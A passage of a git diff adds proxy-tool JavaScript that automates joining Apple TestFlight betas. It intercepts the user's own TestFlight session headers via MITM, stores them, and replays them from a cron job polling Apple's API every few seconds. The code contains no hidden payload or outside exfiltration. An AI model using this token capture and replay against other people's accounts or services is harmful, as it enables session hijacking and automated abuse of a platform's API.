this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +// API end diff --git a/Scripts/TestFlight/AutoJoinTFKeys.js b/Scripts/TestFlight/AutoJoinTFKeys.js new file mode 100644 index 00000000..a59e1aad --- /dev/null +++ b/Scripts/TestFlight/AutoJoinTFKeys.js @@ -0,0 +1,58 @@ +/** + @author fmz200 + @function 获取自动加入TF需要的信息,修改数据存储形式,支持大部分代理工具包括 QX,Loon,Surge,Egern,Stash,ShadowRocket + @date 2025-06-14 15:27:00 + @quote https://github.com/DecoAri/JavaScript/blob/main/Surge/TF_keys.js + + 具体使用步骤 + 1: 导入插件 + 2: 到Mitm页面启用 Mitm over Http2 + 3: 启动VPN,进入到TestFlight App,显示通知信息获取成功 + 4: 到配置-> 持久化数据 -> 导入指定数据 key填写APP_ID,value填写你要加入的TF的ID,ID为链接 https://testflight.apple.com/join/LPQmtkUs 的join后的字符串(也就是此例子的“LPQmtkUs”)⚠️:支持无限个TF链接,每个链接需要用英文逗号“,”隔开(如: LPQmtkUs,Hgun65jg,8yhJgv) +*/ + +const $ = new Env('自动加入TF信息获取'); +const reg1 = /^https:\/\/testflight\.apple\.com\/v3\/accounts\/(.*)\/apps$/; +const reg2 = /^https:\/\/testflight\.apple\.com\/join\/(.*)/; + +if (reg1.test($request.url)) { + console.log($request.headers); + $.setdata(null, "fmz200_TF_header"); + const TF_header = { + key: $request.url.replace(/(.*accounts\/)(.*)(\/apps)/, '$2'), + session_id: $request.headers['X-Session-Id'] || $request.headers['x-session-id'], + session_digest: $request.headers['X-Session-Digest'] || $request.headers['x-session-digest'], + request_id: $request.headers['X-Request-Id'] || $request.headers['x-request-id'], + tf_ua: $request.headers['User-Agent'] || $request.headers['user-agent'] + } + $.setdata(JSON.stringify(TF_header), "fmz200_TF_header"); + + if ($.getdata("fmz200_TF_header") !== null) { + $.msg($.name, "", "令牌获取成功,请关闭脚本!", ""); + } else { + $.msg($.name, "", "令牌获取失败,请打开Mitm over HTTP2开关,并重启VPN和TestFlight App!", ""); + } + $.done({}); +} + +// 获取TF的APP ID +if (reg2.test($request.url)) { + let appId = $.getdata("fmz200_TF_APP_ID") || ""; + let arr = appId.split(","); + const id = reg2.exec($request.url)[1]; + arr.push(id); + arr = unique(arr).filter((a) => a); + if (arr.length > 0) { + appId = arr.join(","); + } + $.setdata(JSON.stringify(appId), "fmz200_TF_APP_ID"); + $.msg($.name, `已添加APP_ID: ${id}`, `当前所有APPID: ${appId}`, ""); + $.done({}); +} +function unique(arr) { + return Array.from(new Set(arr)); +} + +// API start +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +// API end diff --git a/Scripts/TestFlight/QL_AutoJoinTestFlight.js b/Scripts/TestFlight/QL_AutoJoinTestFlight.js new file mode 100644 index 00000000..ab54b521 --- /dev/null +++ b/Scripts/TestFlight/QL_AutoJoinTestFlight.js @@ -0,0 +1,154 @@ +// 自动加入TestFlight +// 更新时间:2024-01-20 18:05:00 +// QL_AutoJoinTestFlight.js +// 环境变量:TF_APP_ID,TF_KEY,session_id,session_digest,request_id +// 目前不支持多账号 +// 多个TF用英文逗号分隔,TF的ID和描述用#分隔,下面的写法都是可以的:app_id_1#描述1,app_id_2#描述2,app_id_3,app_id_4#描述4,app_id_5 +// 默认加入成功或者报错才通知,需要注意的是,加入成功后不会自动删除APP_ID需要手动删除 +// cron */3 * * * * * + +const $ = new Env('自动加入TestFlight'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const {getEnvsByName, updateEnvById} = require('./api'); +// 通知封装字符串 +let notifyStr = ""; +// 是否发送通知,默认加入成功或者报错才通知 +let sendNotify = false; + +const TFEnvKeyName = "TF_APP_ID"; + +// 读取环境变量 +let tf_app_ids = process.env.TF_APP_ID; +let tf_key = process.env.TF_KEY; +let tf_session_id = process.env.session_id; +let tf_session_digest = process.env.session_digest; +let tf_request_id = process.env.request_id; + +// 需要加入TF的APP_ID +let ids = []; + +// 调用异步方法处理集合中的元素 +processCollection().then(r => console.log('自动加入TestFlight结束...')); + +async function processCollection() { + if (tf_app_ids) { + if (tf_app_ids.indexOf(',') > -1) { + ids = tf_app_ids.split(','); + } else { + ids = [tf_app_ids]; + } + addLog(`需要加入的TF_APP_ID = ${ids}\n`); + try { + for (const tf_id of ids) { + await new Promise((resolve) => { + setTimeout(async () => { + await autoPost(tf_id.trim()); + addLog("\n"); + resolve(); // 表示异步操作完成 + }, 1000); // 1000毫秒 = 1秒,这里设置每隔1秒执行一个 + }); + } + } catch (error) { + sendNotify = true; + addLog("加入TF发生错误,请检查session是否过期或APPID是否存在,以下是异常信息:" + error); + } + } else { + sendNotify = true; + addLog('未发现需要加入的TF_APP_ID,请填写TF_APP_ID!'); + } + + // 发送通知 + if (sendNotify) { + await notify.sendNotify('自动加入TestFlight', notifyStr); + } else { + console.log("不发送通知"); + } + return '自动加入TestFlight' + '\n\n' + notifyStr; +} + +async function autoPost(tf_id) { + let tf_id_str = tf_id; + if (tf_id.includes("#")) { + let tfIdfArray = tf_id.split("#"); + tf_id_str = tfIdfArray[0]; + } + addLog(tf_id + " 开始执行..."); + let url = "https://testflight.apple.com/v3/accounts/" + tf_key + "/ru/" + tf_id_str; + let headers = { + "X-Session-Id": tf_session_id, + "X-Session-Digest": tf_session_digest, + "X-Request-Id": tf_request_id, + }; + addLog(tf_id + " 参数拼装完成..."); + + // 发送请求并获取响应的body + try { + const response = await fetch(url, { + method: "GET", + headers: headers + }); + + addLog(tf_id + " 开始发送请求..."); + const body = await response.text(); + addLog(tf_id + " 收到响应内容..."); + + if (body.status === 404) { + sendNotify = true; + addLog(tf_id + " 不存在该TF,请在环境变量TF_APP_ID中删除该APPID"); + } else { + let jsonData = JSON.parse(body); + if (jsonData.data == null) { // "This beta isn't accepting any new testers right now." + addLog(`${tf_id} 此测试版目前不接受任何新测试者。${jsonData.messages[0].message}`); + } else if (jsonData.data.status === "FULL") { // This beta is full. + const appName = jsonData.data.app.name; + addLog(`${tf_id} ${appName} 此测试版已满。${jsonData.data.message}`); + } else { + const response1 = await fetch(url + "/accept", { + method: "POST", + headers: headers + }); + const body1 = await response1.text(); + // console.log(`${tf_id} 的响应body1:${body1}`); + let jsonBody = JSON.parse(body1); + addLog(`${tf_id} 💕${jsonBody.data.name} 加入TestFlight成功,将删除该APPID`); + sendNotify = true; + // 加入成功后自动删除APP_ID + let new_ids = ids.filter(item => item !== tf_id); + // await updateEnv(new_ids.toString()); + } + } + } catch (error) { + const message = error.message; + if (!message.includes("Unexpected token")) { + sendNotify = true; + } + addLog(`${tf_id} 加入TF时出错:${message}`); + } +} + +// 更新环境变量 +async function updateEnv(new_ids) { + // 不查询了,直接根据名字更新 + const envs = await getEnvsByName(TFEnvKeyName); + addLog("获取环境变量结果:" + JSON.stringify(envs)); + if (!envs || envs.length < 1) { + addLog("获取环境变量结果为空,手动删除吧~"); + return; + } + for (const item of envs) { + if (item.name === TFEnvKeyName) { + await updateEnvById(item.id, TFEnvKeyName, new_ids, "需要加入TestFlight的ID,对应脚本QL_AutoJoinTestFlight.js"); + addLog("删除指令执行完毕,若没删除就手动删除吧~"); + break; + } + } +} + +function addLog(info) { + console.log(info); + notifyStr = notifyStr + info + '\n'; + return notifyStr; +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { 